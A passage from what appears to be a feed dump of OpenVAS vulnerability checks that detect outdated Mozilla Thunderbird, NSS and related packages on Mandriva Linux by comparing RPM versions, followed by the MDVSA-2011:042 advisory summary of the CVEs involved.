isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-es\", rpm:\"mozilla-thunderbird-enigmail-es~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fi\", rpm:\"mozilla-thunderbird-enigmail-fi~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fr\", rpm:\"mozilla-thunderbird-enigmail-fr~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-hu\", rpm:\"mozilla-thunderbird-enigmail-hu~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-it\", rpm:\"mozilla-thunderbird-enigmail-it~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ja\", rpm:\"mozilla-thunderbird-enigmail-ja~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ko\", rpm:\"mozilla-thunderbird-enigmail-ko~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nb\", rpm:\"mozilla-thunderbird-enigmail-nb~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nl\", rpm:\"mozilla-thunderbird-enigmail-nl~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pl\", rpm:\"mozilla-thunderbird-enigmail-pl~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt\", rpm:\"mozilla-thunderbird-enigmail-pt~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt_BR\", rpm:\"mozilla-thunderbird-enigmail-pt_BR~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ru\", rpm:\"mozilla-thunderbird-enigmail-ru~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sl\", rpm:\"mozilla-thunderbird-enigmail-sl~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sv\", rpm:\"mozilla-thunderbird-enigmail-sv~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-tr\", rpm:\"mozilla-thunderbird-enigmail-tr~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-vi\", rpm:\"mozilla-thunderbird-enigmail-vi~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_CN\", rpm:\"mozilla-thunderbird-enigmail-zh_CN~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_TW\", rpm:\"mozilla-thunderbird-enigmail-zh_TW~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lightning\", rpm:\"mozilla-thunderbird-lightning~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nsinstall\", rpm:\"nsinstall~3.1.9~0.2mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nss\", rpm:\"nss~3.12.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"rootcerts\", rpm:\"rootcerts~20110323.00~1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"rootcerts-java\", rpm:\"rootcerts-java~20110323.00~1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"xulrunner\", rpm:\"xulrunner~1.9.2.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"yelp\", rpm:\"yelp~2.24.0~3.27mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-l10n\", rpm:\"firefox-l10n~3.6.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nspr\", rpm:\"nspr~4.8.7~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64devhelp-1_0\", rpm:\"lib64devhelp-1_0~0.21~3.24mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64devhelp-1-devel\", rpm:\"lib64devhelp-1-devel~0.21~3.24mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nspr4\", rpm:\"lib64nspr4~4.8.7~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nspr-devel\", rpm:\"lib64nspr-devel~4.8.7~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss3\", rpm:\"lib64nss3~3.12.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss-devel\", rpm:\"lib64nss-devel~3.12.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss-static-devel\", rpm:\"lib64nss-static-devel~3.12.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner1.9.2.16\", rpm:\"lib64xulrunner1.9.2.16~1.9.2.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner-devel\", rpm:\"lib64xulrunner-devel~1.9.2.16~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-11-19T13:07:29", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2018-11-16T00:00:00", "published": "2011-03-15T00:00:00", "id": "OPENVAS:1361412562310831346", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310831346", "title": "Mandriva Update for mozilla-thunderbird MDVSA-2011:042 (mozilla-thunderbird)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Mandriva Update for mozilla-thunderbird MDVSA-2011:042 (mozilla-thunderbird)\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_xref(name:\"URL\", value:\"http://lists.mandriva.com/security-announce/2011-03/msg00004.php\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.831346\");\n script_version(\"$Revision: 12381 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-11-16 12:16:30 +0100 (Fri, 16 Nov 2018) $\");\n script_tag(name:\"creation_date\", value:\"2011-03-15 14:58:18 +0100 (Tue, 15 Mar 2011)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_xref(name:\"MDVSA\", value:\"2011:042\");\n script_cve_id(\"CVE-2011-0053\", \"CVE-2011-0061\", \"CVE-2011-0062\", \"CVE-2010-1585\");\n script_name(\"Mandriva Update for mozilla-thunderbird MDVSA-2011:042 (mozilla-thunderbird)\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'mozilla-thunderbird'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2011 Greenbone Networks GmbH\");\n script_family(\"Mandrake Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/mandriva_mandrake_linux\", \"ssh/login/release\", re:\"ssh/login/release=MNDK_(2010\\.1|2010\\.0|2009\\.0)\");\n script_tag(name:\"affected\", value:\"mozilla-thunderbird on Mandriva Linux 2009.0,\n Mandriva Linux 2009.0/X86_64,\n Mandriva Linux 2010.0,\n Mandriva Linux 2010.0/X86_64,\n Mandriva Linux 2010.1,\n Mandriva Linux 2010.1/X86_64\");\n script_tag(name:\"insight\", value:\"Security issues were identified and fixed in mozilla-thunderbird:\n\n Multiple unspecified vulnerabilities in the browser engine in Mozilla\n Firefox before 3.5.17 and 3.6.x before 3.6.14, Thunderbird before\n 3.1.8, and SeaMonkey before 2.0.12 allow remote attackers to cause\n a denial of service (memory corruption and application crash) or\n possibly execute arbitrary code via unknown vectors (CVE-2011-0053).\n\n Buffer overflow in Mozilla Firefox 3.6.x before 3.6.14, Thunderbird\n before 3.1.8, and SeaMonkey before 2.0.12 might allow remote attackers\n to execute arbitrary code or cause a denial of service (application\n crash) via a crafted JPEG image (CVE-2011-0061).\n\n Multiple unspecified vulnerabilities in the browser engine in Mozilla\n Firefox 3.6.x before 3.6.14 and Thunderbird 3.1.x before 3.1.8 allow\n remote attackers to cause a denial of service (memory corruption and\n application crash) or possibly execute arbitrary code via unknown\n vectors (CVE-2011-0062).\n\n The nsIScriptableUnescapeHTML.parseFragment method in the\n ParanoidFragmentSink protection mechanism in Mozilla Firefox before\n 3.5.17 and 3.6.x before 3.6.14, Thunderbird before 3.1.8, and SeaMonkey\n before 2.0.12 does not properly sanitize HTML in a chrome document,\n which makes it easier for remote attackers to execute arbitrary\n JavaScript with chrome privileges via a javascript: URI in input to\n an extension, as demonstrated by a javascript:alert sequence in (1)\n the HREF attribute of an A element or (2) the ACTION attribute of a\n FORM element (CVE-2010-1585).\n\n Packages for 2009.0 are provided as of the Extended Maintenance\n Program. Additionally, some packages which require so, have been rebuilt and\n are being provided as updates.\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"URL\", value:\"http://store.mandriva.com/product_info.php?cPath=149&amp;amp;products_id=490\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"MNDK_2010.1\")\n{\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird\", rpm:\"mozilla-thunderbird~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-af\", rpm:\"mozilla-thunderbird-af~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ar\", rpm:\"mozilla-thunderbird-ar~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-be\", rpm:\"mozilla-thunderbird-be~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-bg\", rpm:\"mozilla-thunderbird-bg~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-bn_BD\", rpm:\"mozilla-thunderbird-bn_BD~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ca\", rpm:\"mozilla-thunderbird-ca~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-cs\", rpm:\"mozilla-thunderbird-cs~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-da\", rpm:\"mozilla-thunderbird-da~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-de\", rpm:\"mozilla-thunderbird-de~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-el\", rpm:\"mozilla-thunderbird-el~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-en_GB\", rpm:\"mozilla-thunderbird-en_GB~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail\", rpm:\"mozilla-thunderbird-enigmail~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ar\", rpm:\"mozilla-thunderbird-enigmail-ar~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ca\", rpm:\"mozilla-thunderbird-enigmail-ca~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-cs\", rpm:\"mozilla-thunderbird-enigmail-cs~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-de\", rpm:\"mozilla-thunderbird-enigmail-de~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-el\", rpm:\"mozilla-thunderbird-enigmail-el~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-es\", rpm:\"mozilla-thunderbird-enigmail-es~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fi\", rpm:\"mozilla-thunderbird-enigmail-fi~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fr\", rpm:\"mozilla-thunderbird-enigmail-fr~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-hu\", rpm:\"mozilla-thunderbird-enigmail-hu~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-it\", rpm:\"mozilla-thunderbird-enigmail-it~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ja\", rpm:\"mozilla-thunderbird-enigmail-ja~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ko\", rpm:\"mozilla-thunderbird-enigmail-ko~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nb\", rpm:\"mozilla-thunderbird-enigmail-nb~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nl\", rpm:\"mozilla-thunderbird-enigmail-nl~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pl\", rpm:\"mozilla-thunderbird-enigmail-pl~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt\", rpm:\"mozilla-thunderbird-enigmail-pt~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt_BR\", rpm:\"mozilla-thunderbird-enigmail-pt_BR~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ru\", rpm:\"mozilla-thunderbird-enigmail-ru~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sl\", rpm:\"mozilla-thunderbird-enigmail-sl~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sv\", rpm:\"mozilla-thunderbird-enigmail-sv~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-tr\", rpm:\"mozilla-thunderbird-enigmail-tr~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-vi\", rpm:\"mozilla-thunderbird-enigmail-vi~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_CN\", rpm:\"mozilla-thunderbird-enigmail-zh_CN~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_TW\", rpm:\"mozilla-thunderbird-enigmail-zh_TW~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-es_AR\", rpm:\"mozilla-thunderbird-es_AR~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-es_ES\", rpm:\"mozilla-thunderbird-es_ES~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-et\", rpm:\"mozilla-thunderbird-et~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-et_EE\", rpm:\"mozilla-thunderbird-et_EE~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-eu\", rpm:\"mozilla-thunderbird-eu~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fi\", rpm:\"mozilla-thunderbird-fi~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fr\", rpm:\"mozilla-thunderbird-fr~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fy\", rpm:\"mozilla-thunderbird-fy~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ga\", rpm:\"mozilla-thunderbird-ga~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-gd\", rpm:\"mozilla-thunderbird-gd~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-gl\", rpm:\"mozilla-thunderbird-gl~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-he\", rpm:\"mozilla-thunderbird-he~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-hu\", rpm:\"mozilla-thunderbird-hu~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-id\", rpm:\"mozilla-thunderbird-id~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-is\", rpm:\"mozilla-thunderbird-is~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-it\", rpm:\"mozilla-thunderbird-it~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ja\", rpm:\"mozilla-thunderbird-ja~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ka\", rpm:\"mozilla-thunderbird-ka~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ko\", rpm:\"mozilla-thunderbird-ko~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lightning\", rpm:\"mozilla-thunderbird-lightning~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lt\", rpm:\"mozilla-thunderbird-lt~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nb_NO\", rpm:\"mozilla-thunderbird-nb_NO~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nl\", rpm:\"mozilla-thunderbird-nl~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nn_NO\", rpm:\"mozilla-thunderbird-nn_NO~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pa_IN\", rpm:\"mozilla-thunderbird-pa_IN~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pl\", rpm:\"mozilla-thunderbird-pl~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pt_BR\", rpm:\"mozilla-thunderbird-pt_BR~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != 